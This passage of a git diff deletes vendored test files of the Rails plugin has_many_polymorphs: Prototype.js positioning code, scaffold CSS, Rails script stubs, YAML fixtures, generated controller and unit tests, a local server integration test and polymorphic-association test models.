var delta = [0, 0]; - var parent = null; - // delta [0,0] will do fine with position: fixed elements, - // position:absolute needs offsetParent deltas - if (Element.getStyle(target,'position') == 'absolute') { - parent = Position.offsetParent(target); - delta = Position.page(parent); - } - - // correct by body offsets (fixes Safari) - if (parent == document.body) { - delta[0] -= document.body.offsetLeft; - delta[1] -= document.body.offsetTop; - } - - // set position - if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; - if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; - if(options.setWidth) target.style.width = source.offsetWidth + 'px'; - if(options.setHeight) target.style.height = source.offsetHeight + 'px'; - }, - - absolutize: function(element) { - element = $(element); - if (element.style.position == 'absolute') return; - Position.prepare(); - - var offsets = Position.positionedOffset(element); - var top = offsets[1]; - var left = offsets[0]; - var width = element.clientWidth; - var height = element.clientHeight; - - element._originalLeft = left - parseFloat(element.style.left || 0); - element._originalTop = top - parseFloat(element.style.top || 0); - element._originalWidth = element.style.width; - element._originalHeight = element.style.height; - - element.style.position = 'absolute'; - element.style.top = top + 'px'; - element.style.left = left + 'px'; - element.style.width = width + 'px'; - element.style.height = height + 'px'; - }, - - relativize: function(element) { - element = $(element); - if (element.style.position == 'relative') return; - Position.prepare(); - - element.style.position = 'relative'; - var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); - var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); - - element.style.top = top + 'px'; - element.style.left = left + 'px'; - element.style.height = element._originalHeight; - element.style.width = element._originalWidth; - } -} - -// Safari returns margins on body which is incorrect if the child is absolutely -// positioned. For performance reasons, redefine Position.cumulativeOffset for -// KHTML/WebKit only. -if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { - Position.cumulativeOffset = function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.offsetTop || 0; - valueL += element.offsetLeft || 0; - if (element.offsetParent == document.body) - if (Element.getStyle(element, 'position') == 'absolute') break; - - element = element.offsetParent; - } while (element); - - return [valueL, valueT]; - } -} - -Element.addMethods(); \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/robots.txt b/vendor/plugins/has_many_polymorphs/test/integration/app/public/robots.txt deleted file mode 100644 index 4ab9e89f..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/robots.txt +++ /dev/null @@ -1 +0,0 @@ -# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/stylesheets/scaffold.css b/vendor/plugins/has_many_polymorphs/test/integration/app/public/stylesheets/scaffold.css deleted file mode 100644 index 8f239a35..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/stylesheets/scaffold.css +++ /dev/null @@ -1,74 +0,0 @@ -body { background-color: #fff; color: #333; } - -body, p, ol, ul, td { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} - -pre { - background-color: #eee; - padding: 10px; - font-size: 11px; -} - -a { color: #000; } -a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } - -.fieldWithErrors { - padding: 2px; - background-color: red; - display: table; -} - -#errorExplanation { - width: 400px; - border: 2px solid red; - padding: 7px; - padding-bottom: 12px; - margin-bottom: 20px; - background-color: #f0f0f0; -} - -#errorExplanation h2 { - text-align: left; - font-weight: bold; - padding: 5px 5px 5px 15px; - font-size: 12px; - margin: -7px; - background-color: #c00; - color: #fff; -} - -#errorExplanation p { - color: #333; - margin-bottom: 0; - padding: 5px; -} - -#errorExplanation ul li { - font-size: 12px; - list-style: square; -} - -div.uploadStatus { - margin: 5px; -} - -div.progressBar { - margin: 5px; -} - -div.progressBar div.border { - background-color: #fff; - border: 1px solid grey; - width: 100%; -} - -div.progressBar div.background { - background-color: #333; - height: 18px; - width: 0%; -} - diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/about b/vendor/plugins/has_many_polymorphs/test/integration/app/script/about deleted file mode 100755 index 7b07d46a..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/about +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/about' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/breakpointer b/vendor/plugins/has_many_polymorphs/test/integration/app/script/breakpointer deleted file mode 100755 index 64af76ed..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/breakpointer +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/breakpointer' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/console b/vendor/plugins/has_many_polymorphs/test/integration/app/script/console deleted file mode 100755 index 42f28f7d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/console +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/console' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/destroy b/vendor/plugins/has_many_polymorphs/test/integration/app/script/destroy deleted file mode 100755 index fa0e6fcd..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/destroy +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/destroy' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/generate b/vendor/plugins/has_many_polymorphs/test/integration/app/script/generate deleted file mode 100755 index ef976e09..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/generate +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/generate' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/benchmarker b/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/benchmarker deleted file mode 100755 index c842d35d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/benchmarker +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../../config/boot' -require 'commands/performance/benchmarker' diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/profiler b/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/profiler deleted file mode 100755 index d855ac8b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/profiler +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../../config/boot' -require 'commands/performance/profiler' diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/plugin b/vendor/plugins/has_many_polymorphs/test/integration/app/script/plugin deleted file mode 100755 index 26ca64c0..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/plugin +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/plugin' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/inspector b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/inspector deleted file mode 100755 index bf25ad86..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/inspector +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../../config/boot' -require 'commands/process/inspector' diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/reaper b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/reaper deleted file mode 100755 index c77f0453..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/reaper +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../../config/boot' -require 'commands/process/reaper' diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/spawner b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/spawner deleted file mode 100755 index 7118f398..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/spawner +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../../config/boot' -require 'commands/process/spawner' diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/runner b/vendor/plugins/has_many_polymorphs/test/integration/app/script/runner deleted file mode 100755 index ccc30f9d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/runner +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/runner' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/server b/vendor/plugins/has_many_polymorphs/test/integration/app/script/server deleted file mode 100755 index dfabcb88..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/script/server +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env ruby -require File.dirname(__FILE__) + '/../config/boot' -require 'commands/server' \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml deleted file mode 100644 index 5bf02933..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parent_relationships.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -# one: -# column: value -# -# two: -# column: value diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml deleted file mode 100644 index 5bf02933..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/double_sti_parents.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -# one: -# column: value -# -# two: -# column: value diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml deleted file mode 100644 index 123ef537..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/organic_substances.yml +++ /dev/null @@ -1,5 +0,0 @@ -one: - type: Bone - -two: - type: Bone diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml deleted file mode 100644 index 5bf02933..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parent_relationships.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -# one: -# column: value -# -# two: -# column: value diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml deleted file mode 100644 index 5bf02933..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/single_sti_parents.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -# one: -# column: value -# -# two: -# column: value diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml deleted file mode 100644 index 157d7472..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/sticks.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -one: - name: MyString - -two: - name: MyString diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml b/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml deleted file mode 100644 index 157d7472..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/fixtures/stones.yml +++ /dev/null @@ -1,7 +0,0 @@ -# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html - -one: - name: MyString - -two: - name: MyString diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb deleted file mode 100644 index bf6d828a..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb +++ /dev/null @@ -1,57 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' -require 'addresses_controller' - -# Re-raise errors caught by the controller. -class AddressesController; def rescue_action(e) raise e end; end - -class AddressesControllerTest < ActiveSupport::TestCase - fixtures :addresses - - def setup - @controller = AddressesController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - - def test_should_get_index - get :index - assert_response :success - assert assigns(:addresses) - end - - def test_should_get_new - get :new - assert_response :success - end - - def test_should_create_address - assert_difference('Address.count') do - post :create, :address => { :country_id => 1, :user_id => 1, :state_id => 1} - end - - assert_redirected_to address_path(assigns(:address)) - end - - def test_should_show_address - get :show, :id => 1 - assert_response :success - end - - def test_should_get_edit - get :edit, :id => 1 - assert_response :success - end - - def test_should_update_address - put :update, :id => 1, :address => { } - assert_redirected_to address_path(assigns(:address)) - end - - def test_should_destroy_address - assert_difference('Address.count', -1) do - delete :destroy, :id => 1 - end - - assert_redirected_to addresses_path - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb deleted file mode 100644 index fc0c7bd8..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/bones_controller_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class BonesControllerTest < ActionController::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb deleted file mode 100644 index 9fd6a948..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb +++ /dev/null @@ -1,57 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' -require 'sellers_controller' - -# Re-raise errors caught by the controller. -class SellersController; def rescue_action(e) raise e end; end - -class SellersControllerTest < ActiveSupport::TestCase - fixtures :sellers - - def setup - @controller = SellersController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - - def test_should_get_index - get :index - assert_response :success - assert assigns(:sellers) - end - - def test_should_get_new - get :new - assert_response :success - end - - def test_should_create_seller - assert_difference('Seller.count') do - post :create, :seller => { } - end - - assert_redirected_to seller_path(assigns(:seller)) - end - - def test_should_show_seller - get :show, :id => 1 - assert_response :success - end - - def test_should_get_edit - get :edit, :id => 1 - assert_response :success - end - - def test_should_update_seller - put :update, :id => 1, :seller => { } - assert_redirected_to seller_path(assigns(:seller)) - end - - def test_should_destroy_seller - assert_difference('Seller.count', -1) do - delete :destroy, :id => 1 - end - - assert_redirected_to sellers_path - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb deleted file mode 100644 index c1d3b72d..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb +++ /dev/null @@ -1,57 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' -require 'states_controller' - -# Re-raise errors caught by the controller. -class StatesController; def rescue_action(e) raise e end; end - -class StatesControllerTest < ActiveSupport::TestCase - fixtures :states - - def setup - @controller = StatesController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - - def test_should_get_index - get :index - assert_response :success - assert assigns(:states) - end - - def test_should_get_new - get :new - assert_response :success - end - - def test_should_create_state - assert_difference('State.count') do - post :create, :state => { } - end - - assert_redirected_to state_path(assigns(:state)) - end - - def test_should_show_state - get :show, :id => 1 - assert_response :success - end - - def test_should_get_edit - get :edit, :id => 1 - assert_response :success - end - - def test_should_update_state - put :update, :id => 1, :state => { } - assert_redirected_to state_path(assigns(:state)) - end - - def test_should_destroy_state - assert_difference('State.count', -1) do - delete :destroy, :id => 1 - end - - assert_redirected_to states_path - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb deleted file mode 100644 index 5ca62379..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb +++ /dev/null @@ -1,57 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' -require 'users_controller' - -# Re-raise errors caught by the controller. -class UsersController; def rescue_action(e) raise e end; end - -class UsersControllerTest < ActiveSupport::TestCase - fixtures :users - - def setup - @controller = UsersController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - - def test_should_get_index - get :index - assert_response :success - assert assigns(:users) - end - - def test_should_get_new - get :new - assert_response :success - end - - def test_should_create_user - assert_difference('User.count') do - post :create, :user => { } - end - - assert_redirected_to user_path(assigns(:user)) - end - - def test_should_show_user - get :show, :id => 1 - assert_response :success - end - - def test_should_get_edit - get :edit, :id => 1 - assert_response :success - end - - def test_should_update_user - put :update, :id => 1, :user => { } - assert_redirected_to user_path(assigns(:user)) - end - - def test_should_destroy_user - assert_difference('User.count', -1) do - delete :destroy, :id => 1 - end - - assert_redirected_to users_path - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb deleted file mode 100644 index 0ab46bb2..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb +++ /dev/null @@ -1,8 +0,0 @@ -ENV["RAILS_ENV"] = "development" -require File.expand_path(File.dirname(__FILE__) + "/../config/environment") -require 'test_help' - -class ActiveSupport::TestCase - self.use_transactional_fixtures = true - self.use_instantiated_fixtures = false -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb deleted file mode 100644 index 26d1371f..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class BoneTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb deleted file mode 100644 index 50f8d3a8..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class DoubleStiParentRelationshipTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb deleted file mode 100644 index 9c0dbe72..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class DoubleStiParentTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb deleted file mode 100644 index 20d0d963..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class OrganicSubstanceTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb deleted file mode 100644 index 184209d7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class SingleStiParentRelationshipTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb deleted file mode 100644 index 43d38070..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class SingleStiParentTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb deleted file mode 100644 index f21868a7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class StickTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb deleted file mode 100644 index b6705739..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb +++ /dev/null @@ -1,8 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class StoneTest < ActiveSupport::TestCase - # Replace this with your real tests. - def test_truth - assert true - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb deleted file mode 100644 index 724dd8ab..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb +++ /dev/null @@ -1,43 +0,0 @@ - -require "#{File.dirname(__FILE__)}/../test_helper" -require 'open-uri' - -# Start the server - -class ServerTest < ActiveSupport::TestCase - - PORT = 43040 - URL = "http://localhost:#{PORT}/" - - def setup - @pid = Process.fork do - Dir.chdir RAILS_ROOT do - # print "S" - exec("script/server -p #{PORT} &> #{LOG}") - end - end - sleep(5) - end - - def teardown - # Process.kill(9, @pid) doesn't work because Mongrel has double-forked itself away - `ps awx | grep #{PORT} | grep -v grep | awk '{print $1}'`.split("\n").each do |pid| - system("kill -9 #{pid}") - # print "K" - end - sleep(2) - @pid = nil - end - - def test_association_reloading - assert_match(/Bones: index/, open(URL + 'bones').read) - assert_match(/Bones: index/, open(URL + 'bones').read) - assert_match(/Bones: index/, open(URL + 'bones').read) - assert_match(/Bones: index/, open(URL + 'bones').read) - end - - def test_verify_autoload_gets_invoked_in_console - # XXX Probably can use script/runner to test this - end - -end diff --git a/vendor/plugins/has_many_polymorphs/test/models/aquatic/fish.rb b/vendor/plugins/has_many_polymorphs/test/models/aquatic/fish.rb deleted file mode 100644 index 204642e9..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/aquatic/fish.rb +++ /dev/null @@ -1,5 +0,0 @@ -class Aquatic::Fish < ActiveRecord::Base - # set_table_name "fish" - # attr_accessor :after_find_test, :after_initialize_test -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/aquatic/pupils_whale.rb b/vendor/plugins/has_many_polymorphs/test/models/aquatic/pupils_whale.rb deleted file mode 100644 index ae4cbc18..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/aquatic/pupils_whale.rb +++ /dev/null @@ -1,7 +0,0 @@ - -class Aquatic::PupilsWhale < ActiveRecord::Base - set_table_name "little_whale_pupils" - belongs_to :whale, :class_name => "Aquatic::Whale", :foreign_key => "whale_id" - belongs_to :aquatic_pupil, :polymorphic => true -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/aquatic/whale.rb b/vendor/plugins/has_many_polymorphs/test/models/aquatic/whale.rb deleted file mode 100644 index 0ca1b7fb..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/aquatic/whale.rb +++ /dev/null @@ -1,15 +0,0 @@ -# see http://dev.rubyonrails.org/ticket/5935 -module Aquatic; end -require 'aquatic/fish' -require 'aquatic/pupils_whale' - -class Aquatic::Whale < ActiveRecord::Base - # set_table_name "whales" - - has_many_polymorphs(:aquatic_pupils, :from => [:dogs, :"aquatic/fish"], - :through => "aquatic/pupils_whales") do - def a_method - :correct_block_result - end - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/models/beautiful_fight_relationship.rb b/vendor/plugins/has_many_polymorphs/test/models/beautiful_fight_relationship.rb deleted file mode 100644 index b678c982..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/beautiful_fight_relationship.rb +++ /dev/null @@ -1,26 +0,0 @@ - -require 'extension_module' - -class BeautifulFightRelationship < ActiveRecord::Base - set_table_name 'keep_your_enemies_close' - - belongs_to :enemy, :polymorphic => true - belongs_to :protector, :polymorphic => true - # polymorphic relationships with column names different from the relationship name - # are not supported by Rails - - acts_as_double_polymorphic_join :enemies => [:dogs, :kittens, :frogs], - :protectors => [:wild_boars, :kittens, :"aquatic/fish", :dogs], - :enemies_extend => [ExtensionModule, proc {}], - :protectors_extend => proc { - def a_method - :correct_proc_result - end - }, - :join_extend => proc { - def a_method - :correct_join_result - end - } -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/canine.rb b/vendor/plugins/has_many_polymorphs/test/models/canine.rb deleted file mode 100644 index b0010160..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/canine.rb +++ /dev/null @@ -1,9 +0,0 @@ -class Canine < ActiveRecord::Base - self.abstract_class = true - - def an_abstract_method - :correct_abstract_method_response - end - -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/cat.rb b/vendor/plugins/has_many_polymorphs/test/models/cat.rb deleted file mode 100644 index 0c99ff08..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/cat.rb +++ /dev/null @@ -1,5 +0,0 @@ -class Cat < ActiveRecord::Base - # STI base class - self.inheritance_column = 'cat_type' -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/dog.rb b/vendor/plugins/has_many_polymorphs/test/models/dog.rb deleted file mode 100644 index 7f027237..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/dog.rb +++ /dev/null @@ -1,18 +0,0 @@ - -require 'canine' - -class Dog < Canine - attr_accessor :after_find_test, :after_initialize_test - set_table_name "bow_wows" - - def after_find - @after_find_test = true -# puts "After find called on #{name}." - end - - def after_initialize - @after_initialize_test = true - end - -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb b/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb deleted file mode 100644 index 99d0eac7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb +++ /dev/null @@ -1,8 +0,0 @@ - -class EatersFoodstuff < ActiveRecord::Base - belongs_to :foodstuff, :class_name => "Petfood", :foreign_key => "foodstuff_id" - belongs_to :eater, :polymorphic => true - - before_save { |record| record.some_attribute = 3 } -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/frog.rb b/vendor/plugins/has_many_polymorphs/test/models/frog.rb deleted file mode 100644 index 5a0f4658..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/frog.rb +++ /dev/null @@ -1,4 +0,0 @@ -class Frog < ActiveRecord::Base - -end - diff --git a/vendor/plugins/has_many_polymorphs/test/models/kitten.rb b/vendor/plugins/has_many_polymorphs/test/models/kitten.rb deleted file mode 100644 index 2a244c03..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/kitten.rb +++ /dev/null @@ -1,3 +0,0 @@ -class Kitten < Cat -# has_many :eaters_parents, :dependent => true, :as => 'eater' -end \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/models/parentship.rb b/vendor/plugins/has_many_polymorphs/test/models/parentship.rb deleted file mode 100644 index e87b759b..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/parentship.rb +++ /dev/null @@ -1,4 +0,0 @@ -class Parentship < ActiveRecord::Base - belongs_to :parent, :class_name => "Person", :foreign_key => "parent_id" - belongs_to :kid, :polymorphic => true, :foreign_type => "child_type" -end diff --git a/vendor/plugins/has_many_polymorphs/test/models/person.rb b/vendor/plugins/has_many_polymorphs/test/models/person.rb deleted file mode 100644 index 5d019829..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/person.rb +++ /dev/null @@ -1,9 +0,0 @@ -require 'parentship' -class Person < ActiveRecord::Base - has_many_polymorphs :kids, - :through => :parentships, - :from => [:people], - :as => :parent, - :polymorphic_type_key => "child_type", - :conditions => "people.age < 10" -end diff --git a/vendor/plugins/has_many_polymorphs/test/models/petfood.rb b/vendor/plugins/has_many_polymorphs/test/models/petfood.rb deleted file mode 100644 index df420ea8..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/petfood.rb +++ /dev/null @@ -1,39 +0,0 @@ -# see 